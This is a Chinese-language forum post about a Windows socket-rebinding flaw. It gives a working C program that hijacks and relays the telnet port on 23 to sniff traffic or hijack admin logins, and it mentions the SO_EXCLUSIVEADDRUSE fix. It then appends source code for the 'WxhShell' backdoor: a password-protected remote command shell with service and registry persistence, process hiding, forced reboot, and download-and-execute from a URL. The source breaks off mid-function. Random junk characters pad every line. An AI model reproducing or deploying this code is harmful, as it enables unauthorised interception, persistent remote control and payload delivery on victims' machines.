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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _ #l b\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eeb 8v:4  
# dxlU/*  
  saddr.sin_family = AF_INET; (s{%XB:K  
Af0E_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a@,tf'Sr  
S-yd-MtQp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?#D@e5Wf  
Z#;ieI\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e= "/oo  
a+mq=K  
  这意味着什么?意味着可以进行如下的攻击: ,lA J{5\#  
N &p=4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ze Shn  
VV] {R'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4 '9h^C&  
sS(^7GARa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =GM!M@~,Ab  
3g2t{ %  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZLKS4  
<WBGPzVZE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *vsOL 4I%  
B?Y%y@.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p|Rxy"}  
hY'"^?OP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dt3Vy*zL  
~`_nw5y  
  #include .#WF'  
  #include '}4[m>/  
  #include W {dx\+  
  #include    Z{_'V+Q1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Qn%*kU0X  
  int main() ^#^u90I  
  { ;N"XW=F4e  
  WORD wVersionRequested; S%xGXmZ  
  DWORD ret; cB<0~&  
  WSADATA wsaData; ;co{bk|rj  
  BOOL val; D|-]"(2i  
  SOCKADDR_IN saddr; 1<5 9)RiO>  
  SOCKADDR_IN scaddr; rhn*k f{8  
  int err; ^QW%< X  
  SOCKET s; R!pV`N  
  SOCKET sc; &<^@/osi  
  int caddsize; !>S' eXt  
  HANDLE mt; `&9#!T.  
  DWORD tid;   <"[}8  
  wVersionRequested = MAKEWORD( 2, 2 ); J;_JH lK  
  err = WSAStartup( wVersionRequested, &wsaData ); nVyb B~.=  
  if ( err != 0 ) { 9'5,V{pj  
  printf("error!WSAStartup failed!\n"); `8'T*KU  
  return -1; Ha C?,  
  } B~PF<8h5  
  saddr.sin_family = AF_INET; ir,Zc\C  
   =C3l:pGMB;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x-Mp6  
6o1.?t?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QdW%5lM+  
  saddr.sin_port = htons(23); bNaJ{Dm$R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4a2&kIn  
  { >9u6@  
  printf("error!socket failed!\n"); 5E!|-xD  
  return -1; ^jmnE.8R  
  } / V {w<  
  val = TRUE; 0U/:Tpyr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Fsq S)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IG9Q~7@  
  { [?IERE!xQ  
  printf("error!setsockopt failed!\n"); dNJK[1e6  
  return -1; <&L;9fr  
  } =v;-{oN!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \GvVs  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BgpJ;D+N4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 giu~"#0/F  
U.^)|IHW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h;ShNU  
  { Bnxzy n  
  ret=GetLastError(); ReK@~#hLY  
  printf("error!bind failed!\n"); )7i?8XiSZF  
  return -1; l5h9Eq  
  } |y:DLsom?i  
  listen(s,2); J<`RlDI  
  while(1) zA"D0fr  
  { QOF;j#H^  
  caddsize = sizeof(scaddr); M3t_!HP}!  
  //接受连接请求 TM^1 {0;r5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =AKW(v  
  if(sc!=INVALID_SOCKET) q/B+F%QiMQ  
  { +pcj8K%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vSnb>z1  
  if(mt==NULL) %cm5Z^B1"  
  { a<Ns C1  
  printf("Thread Creat Failed!\n"); 1I@4xC #X  
  break; ,F-tvSc\Q  
  } pz$$K?  
  } NqwVs VL  
  CloseHandle(mt); v;RQVH;,  
  } Kq S2  
  closesocket(s); h ?ia4t  
  WSACleanup(); Fb``&-Qm:  
  return 0; ~.@fk}'R  
  }   <7jb4n<  
  DWORD WINAPI ClientThread(LPVOID lpParam) yav)mO~QU6  
  { c^6`"\X^g  
  SOCKET ss = (SOCKET)lpParam; T*{zL  
  SOCKET sc; R/Y/#X^b  
  unsigned char buf[4096]; tAC,'im:*  
  SOCKADDR_IN saddr;  CMg83  
  long num; rvmI 8  
  DWORD val; @B'Mu:|f  
  DWORD ret; W8P**ze4)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KqSa"76R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P5d@-l%}  
  saddr.sin_family = AF_INET; :O!G{./(_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `-/l$A} U  
  saddr.sin_port = htons(23); (jm.vL&5j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ILO+=xU  
  { SQ Fey~  
  printf("error!socket failed!\n"); n47=eKd70  
  return -1; #y*=UV|h  
  } K?;p:  
  val = 100; - dOT/%Ux  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L$Leo6<3a  
  { :U:7iP:  
  ret = GetLastError(); z\E "={P&  
  return -1; \=@r1[d  
  } QhG-1P3#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N*SgP@Bt  
  { (O-)uC  
  ret = GetLastError(); 28)TXRr-  
  return -1; .3U[@*b(  
  } *M|\B|A.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <bx9;1C>zd  
  { rqFs[1wr>R  
  printf("error!socket connect failed!\n"); kr*c?^b  
  closesocket(sc); cyhD%sB[D9  
  closesocket(ss); B![5+  
  return -1; avpw+M6+  
  } #LN I&5  
  while(1) YEQW:r_h.S  
  { &V?q d{39  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hr+-ndH!Pq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9_Re,h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )T64(_TE  
  num = recv(ss,buf,4096,0); tRy D@}  
  if(num>0) zkp Apj].  
  send(sc,buf,num,0); [Kj:~~`T   
  else if(num==0) 4{DeF@@  
  break; Wv0'?NL.  
  num = recv(sc,buf,4096,0); BY0|exW  
  if(num>0) H<;Fb;b  
  send(ss,buf,num,0); 99!{[gOv  
  else if(num==0) eCp|QSXE  
  break; tqQ0lv^J  
  } Idlu1g  
  closesocket(ss); W"kw>JEt  
  closesocket(sc); r}\h\ {  
  return 0 ; q~J oGTv  
  } ,z1!~gIal  
,8I AhQa  
QklNw6,  
========================================================== iw fp'  
5FSv"=  
下边附上一个代码,,WXhSHELL Z02s(y=k1  
:Nz?<3R0\  
========================================================== <} yp  
yb{Q,Dz  
#include "stdafx.h" ?4ILl>*  
_GO+fB/Q1  
#include <stdio.h> -(w~LT$ "  
#include <string.h> tin|,jA =  
#include <windows.h> h)_Gxe"x  
#include <winsock2.h> }[z<iij4  
#include <winsvc.h> A$~xG(  
#include <urlmon.h> kz0=GKic  
P=^#%7J/l  
#pragma comment (lib, "Ws2_32.lib") z8[H:W#G  
#pragma comment (lib, "urlmon.lib") V+qJrZ ,i  
]&:b<]K3  
#define MAX_USER   100 // 最大客户端连接数 yIIETE  
#define BUF_SOCK   200 // sock buffer 9U)t@b  
#define KEY_BUFF   255 // 输入 buffer `xUG|  
_IL2-c8  
#define REBOOT     0   // 重启 7"q+"0G  
#define SHUTDOWN   1   // 关机 ( f,J_  
NaA+/:  
#define DEF_PORT   5000 // 监听端口 C4{\@v}t  
'qV3O+@MF  
#define REG_LEN     16   // 注册表键长度 :Sc8PLT  
#define SVC_LEN     80   // NT服务名长度 %X9b=%'+  
d9Z&qdxTKq  
// 从dll定义API \E@s_fQ]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T^$g N|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |rFR8srPG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C ]'g:93L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qWO]s=V!  
w(/DTQc~d  
// wxhshell配置信息 # SQvXMT  
struct WSCFG { 1OJ*wI*  
  int ws_port;         // 监听端口 efjO8J[uk-  
  char ws_passstr[REG_LEN]; // 口令 :p<kQ4   
  int ws_autoins;       // 安装标记, 1=yes 0=no X0WNpt&h  
  char ws_regname[REG_LEN]; // 注册表键名 PW%1xHLfk  
  char ws_svcname[REG_LEN]; // 服务名 b,sGq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'j,oIqx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +2DE/wE]e+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SY,I >-%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yI8m%g%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o\ngR\>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 py{eX`(MS  
dL_QX,X-]  
}; [?chK^8  
ATXF,o1  
// default Wxhshell configuration c^=R8y-N  
struct WSCFG wscfg={DEF_PORT, 'y9*uT~  
    "xuhuanlingzhe", MZ|\S/  
    1, g5#CN:%f  
    "Wxhshell", Gg%tVQu  
    "Wxhshell", fcRj  
            "WxhShell Service", p jKt:R}  
    "Wrsky Windows CmdShell Service", X>8-` p  
    "Please Input Your Password: ", M$Fth*q{GD  
  1, MO[kr2T  
  "http://www.wrsky.com/wxhshell.exe", $!G`D=  
  "Wxhshell.exe" XFW5AP  
    }; 4'SaEsA~  
HG2GZ}~^1  
// 消息定义模块 [yw%ih)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _Vjpw,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fVe@YqNa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I%@e@Dm,h  
char *msg_ws_ext="\n\rExit."; nr OqH  
char *msg_ws_end="\n\rQuit."; k(P3LJcYQ  
char *msg_ws_boot="\n\rReboot..."; _(C^[:s  
char *msg_ws_poff="\n\rShutdown..."; QDS0ejhp  
char *msg_ws_down="\n\rSave to "; gnt45]@{  
g96T*T  
char *msg_ws_err="\n\rErr!"; :peqr!I+K  
char *msg_ws_ok="\n\rOK!"; pOm@b `S%  
2;G98H  
char ExeFile[MAX_PATH]; 7*i }km  
int nUser = 0; S%kS#U${|  
HANDLE handles[MAX_USER]; Sx8l<X  
int OsIsNt; &p5&=zV}  
{j?7d; 'j  
SERVICE_STATUS       serviceStatus; %>Bko,ET  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AD]e0_E  
+?;j&p  
// 函数声明 {h#6z>p"u2  
int Install(void); n)#Lh 7X"  
int Uninstall(void); @\)fzubu  
int DownloadFile(char *sURL, SOCKET wsh); 9e~WK720=  
int Boot(int flag); R<_?W#$j  
void HideProc(void); M>T[!*nTj  
int GetOsVer(void); :BZMnCfA  
int Wxhshell(SOCKET wsl); R2w`Y5#`  
void TalkWithClient(void *cs); Ik j=`,a2B  
int CmdShell(SOCKET sock); iZQ\ m0Zc  
int StartFromService(void); b,dr+RB  
int StartWxhshell(LPSTR lpCmdLine); ~%s}S  
i\Yl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {I{3(M#"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b^ sb]bZW  
zmI5"K"'F  
// 数据结构和表定义 "u;YI=+  
SERVICE_TABLE_ENTRY DispatchTable[] = vM`7s[oAK  
{ HA!t$[_Ve  
{wscfg.ws_svcname, NTServiceMain}, 0Uw ^FcW  
{NULL, NULL} HT"gT2U+  
}; @EHIp{0.  
SK+@HnKd  
// 自我安装  \~>e_;  
int Install(void) e_/x&a(i8  
{ s~J=<)T*6  
  char svExeFile[MAX_PATH]; <F7V=Er  
  HKEY key; R:/ha(+  
  strcpy(svExeFile,ExeFile); WmNYO,>  
uEx9-,!  
// 如果是win9x系统,修改注册表设为自启动 -`7$Qu 2  
if(!OsIsNt) { nUc;/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VD$ Eb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G2]^F Y  
  RegCloseKey(key); /s|{by`we4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :y# T9R9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p0M=t-  
  RegCloseKey(key); o.Oq__>$H  
  return 0; !v9lk9SV  
    } )TU<:V  
  } h*Je35  
} FXahZW~Ol  
else { Uoj i@  
s<vs:jna  
// 如果是NT以上系统,安装为系统服务 +tt9R_S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zA s&%OjG  
if (schSCManager!=0) ;W{b $k@g  
{ MzzKJ;wbC6  
  SC_HANDLE schService = CreateService 9#k0_vDoW  
  ( p@ygne 4  
  schSCManager, r`6:Q&&  
  wscfg.ws_svcname, 3qi_]*dD  
  wscfg.ws_svcdisp, XP-C  
  SERVICE_ALL_ACCESS, q8xd*--#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hj!+HHYSk  
  SERVICE_AUTO_START, b5pMq$UVL  
  SERVICE_ERROR_NORMAL, \a))  
  svExeFile, uZIJoT  
  NULL, m`6VKp{YD  
  NULL, [i7YVwG4  
  NULL, uWjU OJEe  
  NULL, dz%EM8  
  NULL oNM?y:O  
  ); }`o? /!X   
  if (schService!=0) p|qyTeg  
  { ;YyXT"6/p  
  CloseServiceHandle(schService); rh%m;i<b  
  CloseServiceHandle(schSCManager); 3o6RbW0[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $`ztiVu3  
  strcat(svExeFile,wscfg.ws_svcname); ?6P.b6m}0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *(QH{!-$s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8W+5)m.tp  
  RegCloseKey(key); 2) ?q 58  
  return 0; t-7og;^8k  
    } j~`\XX{>  
  } {]kaJ{U>  
  CloseServiceHandle(schSCManager); CO^Jz  
} cCi I{  
} ~R]35Cp-#  
"A3dvr  
return 1; :%X Ls,  
} }Qr6 l/2  
UE :HMn6  
// 自我卸载 _A+w#kiv>  
int Uninstall(void) 4=[7Em?oLb  
{ x/mp=  
  HKEY key; L{8;Ud_2r  
bwiD$  
if(!OsIsNt) { E(^0B(JF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qOy=O [+9  
  RegDeleteValue(key,wscfg.ws_regname);  L}%dCe  
  RegCloseKey(key); `tEo]p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { md bp8,O  
  RegDeleteValue(key,wscfg.ws_regname); xT*d/Oaw  
  RegCloseKey(key);  jz'<  
  return 0; jQh^WmN  
  } {Wv% zA*8  
} !EBY@ Y1  
} 0Scm? l3  
else { \9{F5S z  
E167=BD9<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e3[:D5  
if (schSCManager!=0) : c.JhE3D  
{ Y[ zZw~yx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V[; M&=,"  
  if (schService!=0) %.HJK  
  { zsXpA0~3s  
  if(DeleteService(schService)!=0) { ..W-76{  
  CloseServiceHandle(schService); s9)8b$t]  
  CloseServiceHandle(schSCManager); LM)`CELsYc  
  return 0; aM=D84@  
  } [xZU!=  
  CloseServiceHandle(schService); G"dS+,Q  
  } J CGC  
  CloseServiceHandle(schSCManager); Y&.UIosWb  
} {b)~V3rsY  
} )2e#HBnH  
qu|i;WZE  
return 1; ,h]o>  
} 'UU\4M  
kv{}C)kt3  
// 从指定url下载文件 ?> D tw#}  
int DownloadFile(char *sURL, SOCKET wsh) GqKsK r2%  
{ zaimGMJ ,  
  HRESULT hr; TQ@d~GR  
char seps[]= "/"; w#y0atsg'  
char *token; ]j<Bo4~Il  
char *file; 39i9wrP  
char myURL[MAX_PATH]; ^jE8+h  
char myFILE[MAX_PATH]; W"q@Qa`Bm  
*OjKc s  
strcpy(myURL,sURL); An`3Ex[  
  token=strtok(myURL,seps); P9Q~r<7n  
  while(token!=NULL) !CTxVLl"F  
  { J([s5:.[  
    file=token; Z|lU8`'5  
  token=strtok(NULL,seps); s1N?/>lmB  
  } t= #&fSR  
i[jJafAcN  
GetCurrentDirectory(MAX_PATH,myFILE); *fMpZ+;[m  
strcat(myFILE, "\\"); AyKMhac  
strcat(myFILE, file); NAC_pM&B  
  send(wsh,myFILE,strlen(myFILE),0); `:NaEF?Sj  
send(wsh,"...",3,0); d3Mva,bw<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G3i !PwW  
  if(hr==S_OK) =+:{P?*}  
return 0; */qtzt  
else 4,Ic}CvM  
return 1; \nNXxTxX!  
)!bUR\  
} |SZo' 6  
tRb] 7 z  
// 系统电源模块 21X`h3+=  
int Boot(int flag) Dim> 7Wbh  
{ /1UOT\8U  
  HANDLE hToken; \Q?ip&R  
  TOKEN_PRIVILEGES tkp; rqPo)AL  
d*8 $>GA  
  if(OsIsNt) { @$^bMIj@W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DTRJ/ @t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1Na@|yY  
    tkp.PrivilegeCount = 1; ^2D1`,|N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "ww|&-W9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )-15 N  
if(flag==REBOOT) { S0,R_d')  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bq\F?zk<  
  return 0; p9!"O  
} Jzji&A~  
else { f"[J "j8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ))kF<A_MK  
  return 0; z G }?  
} f"G-  
  } CvSIV7zYo  
  else { {PP9$>4`l  
if(flag==REBOOT) { Yf,K#' h:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >^Q&nkB"B  
  return 0; O|IG_RL]  
} BF*kb2"GZ6  
else { $ i)bq6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^ 2GHe<Y  
  return 0; 2,2Z`X  
} t.8 GT&p  
} 2"P 99$"  
qU2~fNY  
return 1; k %e^kej  
} {R<Ea @LV+  
>zsid:  
// win9x进程隐藏模块 /-_=nf}w  
void HideProc(void) x5`br.b  
{ :K`ESq!8u  
RoA?p;]<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W :,4:|3  
  if ( hKernel != NULL ) 9O` m,t  
  { `pf4X/Py  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6oaazB^L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @bM2{Rh:  
    FreeLibrary(hKernel); &X@Bs-  
  } sIG7S"k>p  
Y?CCD4"qn  
return; b5$Jf jI  
} El_wdbbT  
H&1[n U{?>  
// 获取操作系统版本 4 %PfrJ  
int GetOsVer(void) cMyiW$;  
{ Q$& sTM  
  OSVERSIONINFO winfo; fH`P[^N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1_fZm+oW!  
  GetVersionEx(&winfo); ;{ i'#rn{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0nn okN^  
  return 1; mpAR7AG6  
  else W>r#RXmh  
  return 0; ?]fF3SJk  
} 2XTPBZNe  
bmNq[}  
// 客户端句柄模块 7{e{9QbJ4  
int Wxhshell(SOCKET wsl) H gTUy[(  
{ HX'FYt/?t  
  SOCKET wsh; N8qDdr9p?c  
  struct sockaddr_in client; )vmA^nU>  
  DWORD myID; V@>r*7\F  
GRb*EeT  
  while(nUser<MAX_USER) T2}FYVj?!g  
{ S6}@I ,Q  
  int nSize=sizeof(client); ,fK3ZC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "|;:>{JC  
  if(wsh==INVALID_SOCKET) return 1; sw A+f   
'O5'i\uz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [A}rbD K  
if(handles[nUser]==0) Q-ni|  
  closesocket(wsh); kKD`rfyG \  
else #-pc}Y|<  
  nUser++; 7g R@$(1Z  
  } 4&8Gr0C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P\8@g U!uk  
FX9F"42@  
  return 0; ,Y 3W?  
} +!QJTn"3  
?)bS['^1)  
// 关闭 socket <%xS{!'}  
void CloseIt(SOCKET wsh) kb[P\cRa  
{ [: xiZ  
closesocket(wsh); ~m|Mg9-  
nUser--; KIR'$ 6pn~  
ExitThread(0); M?=;JJ:  
} [V4{c@  
* ),8PoT  
// 客户端请求句柄 OB[o2G<0  
void TalkWithClient(void *cs) 'n<iU st  
{ nz9DLAt  
/C/id)h>  
  SOCKET wsh=(SOCKET)cs; )p!7 #v/@f  
  char pwd[SVC_LEN]; r]OK$Ql  
  char cmd[KEY_BUFF]; h~C.VJWl  
char chr[1]; 8$(Dz]v|[&  
int i,j; J_>w3uY  
SIbDj[s  
  while (nUser < MAX_USER) { ?Ma~^0  
|_omr&[_  
if(wscfg.ws_passstr) { Lh.`C7]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hp{OL<2M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Rx9w!pAN  
  //ZeroMemory(pwd,KEY_BUFF); Vi4~`;|&b+  
      i=0; SP|<Tny  
  while(i<SVC_LEN) { hFiIW77 s2  
.uNQBBNv  
  // 设置超时 G_>#Js  
  fd_set FdRead; _+ .\@{c  
  struct timeval TimeOut; )'*5R<#  
  FD_ZERO(&FdRead); 9-]i.y  
  FD_SET(wsh,&FdRead); %0? M?Jf  
  TimeOut.tv_sec=8; e</$ s  
  TimeOut.tv_usec=0; ,gL9?Wz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1? FrJ6 V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s7oT G!  
*^([ ~[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ',GS#~  
  pwd=chr[0]; "5eNLqt^q  
  if(chr[0]==0xd || chr[0]==0xa) { Q}S_%I}u:  
  pwd=0; }(egMx;"3J  
  break; {O|'U'  
  } {EdH$l>94  
  i++; $T :un.TM  
    } g;ZxvR)ZJk  
ICAH G7,  
  // 如果是非法用户,关闭 socket Me6+~"am/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lN9=TxH1(;  
} c)@>zto#  
1heS*Fwn'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "B_K XL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cUDoN`fSl,  
V/LQ<Yke  
while(1) { RT>{*E<I  
VXR]"W=  
  ZeroMemory(cmd,KEY_BUFF); %lg=YGLQB  
;Ag 3c+  
      // 自动支持客户端 telnet标准   G;f/Tch  
  j=0; ' oF xR003  
  while(j<KEY_BUFF) { z5W@`=D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <cA/<3k)  
  cmd[j]=chr[0]; J)mh u}  
  if(chr[0]==0xa || chr[0]==0xd) { %F kMv  
  cmd[j]=0; v\`9;QV5  
  break; p-+K4  
  } 8EVgoJ.  
  j++; "_2Ng<2  
    }  :ujCr.  
TNQP" 9[?  
  // 下载文件 s}pIk.4ot!  
  if(strstr(cmd,"http://")) { D1nq2GwS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )"+(butI&  
  if(DownloadFile(cmd,wsh)) !?^b[ nC%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>*%q%81  
  else e[Abp~@M1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =TqQbadp  
  } yjJ5P`j]  
  else { /O ]t R  
D5~n/.B"  
    switch(cmd[0]) { pH`44KAuM  
  p _d:eZ  
  // 帮助 erO>1 ,4S  
  case '?': { GWvH[0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9}z0J  
    break; QM?#{%31  
  } &sF^Fgg{  
  // 安装 r!,}Z=cGe  
  case 'i': { i|1^+;  
    if(Install()) m!U9m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oA1a/[#  
    else w1;hy"zPsj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )G7=G+e;  
    break; :W@#) 1=  
    } Kt0(gQOr0  
  // 卸载 GJqE!I,.  
  case 'r': { *6(kbes  
    if(Uninstall()) `gKf#f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .k[o$z\EkF  
    else x1 1U@jd+1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )*c> |7G  
    break; @,XSs  
    } 2 1PFR:lP7  
  // 显示 wxhshell 所在路径 ![f ![l  
  case 'p': { /t-fjB{=G  
    char svExeFile[MAX_PATH]; vd6l7"0/  
    strcpy(svExeFile,"\n\r"); vf4{$Oag  
      strcat(svExeFile,ExeFile); "*O4GPj  
        send(wsh,svExeFile,strlen(svExeFile),0); 2S' {!A  
    break; _j_x1.l  
    } ' H7x L  
  // 重启 d,$d~alY  
  case 'b': { ,.gQ^^+=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'EFyIVezg9  
    if(Boot(REBOOT)) } G<rt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r < cVp^  
    else { 3Tq\BZ  
    closesocket(wsh); ^9-&o  
    ExitThread(0); X>?b#Eva  
    } n&A'C\  
    break; ^T~gEv  
    } CIVnCy z  
  // 关机 -l}IZY  
  case 'd': { [=%TnT+^9  
